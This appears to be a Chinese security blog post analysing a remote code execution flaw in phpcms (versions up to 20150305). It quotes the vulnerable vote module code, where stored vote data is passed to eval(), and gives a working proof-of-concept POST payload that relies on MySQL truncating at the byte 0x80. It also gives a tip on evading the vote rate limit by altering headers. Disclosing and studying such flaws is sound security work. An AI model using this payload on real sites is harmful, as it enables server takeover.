p0's blog | 破 关注网络安全
phpcms远程任意代码执行
发表于: | 分类: 代码审计 | 评论:0 | 阅读: 879

0x00 前言

存在漏洞版本:<=20150305
系统要求:PHP5.2,站长开启了一项投票

利用需要使用到mysql和php的2个小特性
mysql在存储数据的时候会根据当前数据库的字符集来校验数据,发现非法数据时会抛弃其后续数据,比如:Insert into table values (concat('ab', 0x80, 'cd')),因为0x80不是有效的UTF-8字符,所以只有ab被写入数据库中,cd会被截断。

第二个是利用了php语法的松散性。

<?php
$test ="array(');phpinfo()";
eval("\$arr = $test;");

以上代码语法上存在错误,但在php 5.2.17上可以正常运行,在5.3.29和5.4.30上测试失败。所以该漏洞在较高版本的php上暂时没法利用。

0x01 代码分析

phpcms/modules/vote/index.php

    /**
     * 处理投票
     */
    public function post(){
        $subjectid = intval($_POST['subjectid']);
        if(!$subjectid) showmessage(L('vote_novote'),'blank');
        //当前站点
        $siteid = SITEID;
        //判断是否已投过票,或者尚未到第二次投票期
        $return = $this->check($subjectid);
        switch ($return) {
        case 0:
          showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
          break;
        case -1:
          showmessage(L('vote_voteyes'),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
          break;
        }
        if(!is_array($_POST['radio'])) showmessage(L('vote_nooption'),'blank');
        $time = SYS_TIME;
        
        $data_arr = array();
        foreach($_POST['radio'] as $radio){
            $data_arr[$radio]='1';
        }
        $new_data = array2string($data_arr);//转成字符串存入数据库中  
        //添加到数据库
        $this->vote_data->insert(array('userid'=>$this->userid,'username'=>$this->username,'subjectid'=>$subjectid,'time'=>$time,'ip'=>$this->ip,'data'=>$new_data));
        //查询投票奖励点数,并更新会员点数
        $vote_arr = $this->vote->get_one(array('subjectid'=>$subjectid));
        pc_base::load_app_class('receipts','pay',0);
        receipts::point($vote_arr['credit'],$this->userid, $this->username, '','selfincome',L('vote_post_point'));
        //更新投票人数 
        $this->vote->update(array('votenumber'=>'+=1'),array('subjectid'=>$subjectid));
        showmessage(L('vote_votesucceed'), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
    }
    
        /**
     * 
     * 投票结果显示 
     */
    public function result(){
        $siteid = SITEID;
        $subjectid = abs(intval($_GET['subjectid']));
        if(!$subjectid) showmessage(L('vote_novote'),'blank');
        //取出投票标题
        $subject_arr = $this->vote->get_subject($subjectid);
        if(!is_array($subject_arr)) showmessage(L('vote_novote'),'blank');
        extract($subject_arr);
        //获取投票选项
        $options = $this->vote_option->get_options($subjectid);
        
        //新建一数组用来存新组合数据
        $total = 0;
        $vote_data =array();
        $vote_data['total'] = 0 ;//所有投票选项总数
        $vote_data['votes'] = 0 ;//投票人数
        
        //获取投票结果信息
        $infos = $this->vote_data->select(array('subjectid'=>$subjectid),'data');   
        //循环每个会员的投票记录
        foreach($infos as $subjectid_arr) {
                extract($subjectid_arr);
                $arr = string2array($data);
                foreach($arr as $key => $values){
                    $vote_data[$key]+=1;
                }
                $total += array_sum($arr);
                $vote_data['votes']++ ;
        }
        $vote_data['total'] = $total ;
        //SEO设置 
        $SEO = seo(SITEID, '', $subject, $description, $subject);
        include template('vote','vote_result');
    }

要求post获取的radio参数为数组,转为字符串

$this->vote_data->insert(array('userid'=>$this->userid,'username'=>$this->username,'subjectid'=>$subjectid,'time'=>$time,'ip'=>$this->ip,'data'=>$new_data));
存入数据库,然后$infos = $this->vote_data->select(array('subjectid'=>$subjectid),'data') 获取投票结果,$arr = string2array($data)转为数组

string2array()函数:

function string2array($data) {
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}

导致代码执行

0x02 漏洞利用

POC为:
index.php?m=vote&c=index&a=post&subjectid=2
post:
subjectid=2&radio[]=);phpinfo();%80
其中subjectid为投票的id,根据其改变

radio利用截断,radio[]=);phpinfo();%80

最后执行的sql语句为IN

SERT INTO `phpcmsv9`.`v9_vote_data`(`userid`,`username`,`subjectid`,`time`,`ip`,`data`) VALUES ('','','2','1485250287','192.168.31.1','array (\');phpinfo();\x80\' => \'1\',)')  
插入数据库的内容为

QQ20170124-173655@2x.png

成功执行代码:

shell.png

ps:站长投票频率一般会限制,可以根据check函数修改http头,多次测试。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/80/
来源:http://p0sec.net/

添加新评论

TOP